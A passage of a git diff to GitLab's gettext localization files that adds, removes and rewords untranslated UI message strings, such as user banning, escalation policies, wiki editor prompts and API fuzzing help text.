msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index b41a7977872..22c8da0b1f8 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:23\n"
+"PO-Revision-Date: 2021-06-01 20:44\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
